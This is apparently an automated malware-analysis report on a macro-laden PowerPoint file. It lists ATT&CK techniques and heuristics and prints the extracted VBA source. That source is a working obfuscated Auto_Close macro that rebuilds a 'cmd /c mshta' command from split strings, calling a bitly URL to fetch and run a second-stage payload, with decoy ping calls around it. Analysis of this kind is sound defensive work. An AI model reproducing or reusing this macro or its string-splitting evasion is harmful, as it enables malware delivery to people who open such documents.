MALICIOUS
220
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros with an Auto_Close function that is designed to execute malicious code. The script reassembles the string 'cmd /c mshtahttp://1230948%1230948@bitly.com/fcafadfaafdsafdasfasdasfcaf' and executes it. This indicates the macro's intent is to download and run a second-stage payload from the constructed URL.
Heuristics 5
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 688 bytes |
SHA-256: ba6478cbaa5a3e23e8a7df0ba5cc02e9d913817b413d74e0957da9a3806ffe07 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Module1" Function Auto_ClOse() As Variant maviya11 = " h" + "t" + "" + "" + "" + "" + "t" + "p" + ":" + "/" + "/" + "1" + "2" + "3" + "0" + "9" + "4" + "8" maviya22 = "%" + "1" + "2" + "3" + "0" + "9" + "4" + "" + "" + "" + "" + "8" + "@" + "b" + "i" + "" + "t" + "l" + "y" + "." + "co" + "m" + "/" maviya33 = "fcafadf" + "aa" + "fdsafdasfas" + "dasfcaf" : Shell "pi" + "n" + "g": Shell "pi" + "n" + "g": Shell "pi" + "n" + "g": Shell "p" + "" + "" + "i" + "ng": Shell "c" + "m" + "d /" + "c m" + "s" + "h" + "t" + "a" + maviya11 + maviya22 + maviya33: Shell "pi" + "ng": Shell "pi" + "ng": Shell "pi" + "ng": Shell "p" + "i" + "n" + "g" End Function |
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: ppt/vbaProject.bin | 14336 bytes |
SHA-256: 0a1120de8620e46790dac2eae4e0635a430ba77037091d9279fc99d3b1a0cb98 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.